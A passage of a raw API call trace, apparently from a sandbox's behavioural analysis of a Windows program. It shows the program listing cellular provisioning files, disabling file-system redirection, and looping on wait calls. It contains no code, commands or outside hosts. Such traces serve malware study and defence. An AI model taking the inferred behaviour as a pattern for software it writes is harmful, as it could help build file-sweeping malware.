ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="183__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="184__C~1.PRO")) returned 1 [0273.236] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="185__C~1.PRO")) returned 1 [0273.236] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="186__C~1.PRO")) returned 1 [0273.236] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="187__C~1.PRO")) returned 1 [0274.348] GetProcessHeap () returned 0xc10000 [0274.348] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0274.348] GetProcessHeap () returned 0xc10000 [0274.348] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0274.348] GetProcessHeap () returned 0xc10000 [0274.348] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0274.350] GetProcessHeap () returned 0xc10000 [0274.350] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0274.351] GetProcessHeap () returned 0xc10000 [0274.351] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0274.353] GetProcessHeap () returned 0xc10000 [0274.353] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0274.354] GetProcessHeap () returned 0xc10000 [0274.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcc8dd8 | out: hHeap=0xc10000) returned 1 [0274.732] SetEvent (hEvent=0x2fc) returned 1 [0274.732] SetEvent (hEvent=0x2f8) returned 1 [0274.732] SetEvent (hEvent=0x300) returned 1 [0274.733] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xffffffff) returned 0x0 [0274.733] SetEvent (hEvent=0x2fc) returned 1 [0274.733] SetEvent (hEvent=0x2f8) returned 1 [0274.733] SetEvent (hEvent=0x300) returned 1 [0274.733] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2e5fbf4*=0x304, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0274.905] CloseHandle (hObject=0x308) returned 1 [0274.906] CloseHandle (hObject=0x304) returned 1 [0274.906] GetProcessHeap () returned 0xc10000 [0274.906] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x39024b8 [0274.906] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.906] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.906] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.906] GetProcessHeap () returned 0xc10000 [0274.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39024b8 | out: hHeap=0xc10000) returned 1 [0274.906] GetProcessHeap () returned 0xc10000 [0274.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcb8dd0 | out: hHeap=0xc10000) returned 1 [0274.909] CloseHandle (hObject=0x2f8) returned 1 [0274.909] CloseHandle (hObject=0x2fc) returned 1 [0274.909] CloseHandle (hObject=0x300) returned 1 [0274.909] GetProcessHeap () returned 0xc10000 [0274.909] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca8dc8 | out: hHeap=0xc10000) returned 1 [0274.911] GetProcessHeap () returned 0xc10000 [0274.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc286b8 | out: hHeap=0xc10000) returned 1 [0274.911] GetProcessHeap () returned 0xc10000 [0274.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc29948 | out: hHeap=0xc10000) returned 1 [0274.912] SetEvent (hEvent=0x280) returned 1 [0274.913] GetProcessHeap () returned 0xc10000 [0274.913] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc209d0 | out: hHeap=0xc10000) returned 1 [0274.913] GetProcessHeap () returned 0xc10000 [0274.913] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f7f0 | out: hHeap=0xc10000) returned 1 [0274.913] GetProcessHeap () returned 0xc10000 [0274.913] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28738 | out: hHeap=0xc10000) returned 1 Thread: id = 66 os_tid = 0xd3c [0212.246] GetProcessHeap () returned 0xc10000 [0212.246] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xce9df0 [0212.246] GetProcessHeap () returned 0xc10000 [0212.246] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3360048 [0212.247] GetProcessHeap () returned 0xc10000 [0212.247] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc4d6d8 [0212.247] GetProcessHeap () returned 0xc10000 [0212.247] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x110102) returned 0x346e020 [0212.252] GetProcessHeap () returned 0xc10000 [0212.252] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xca3d50 [0212.252] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.252] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0212.252] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9f83c | out: OldValue=0x2f9f83c*=0x0) returned 1 [0212.252] GetProcessHeap () returned 0xc10000 [0212.252] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca3d50 | out: hHeap=0xc10000) returned 1 [0212.252] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.252] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.253] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.253] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.253] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.253] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.253] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.254] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.255] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.256] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.257] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.258] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.259] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.260] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.261] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.262] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.263] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.263] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.264] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.264] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.265] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.266] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.267] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.268] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.269] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.269] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.269] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.269] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.269] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.270] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.270] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.270] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.270] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.270] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.271] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.272] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.273] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.273] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.274] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.275] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.276] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.277] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.278] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.279] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.280] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject 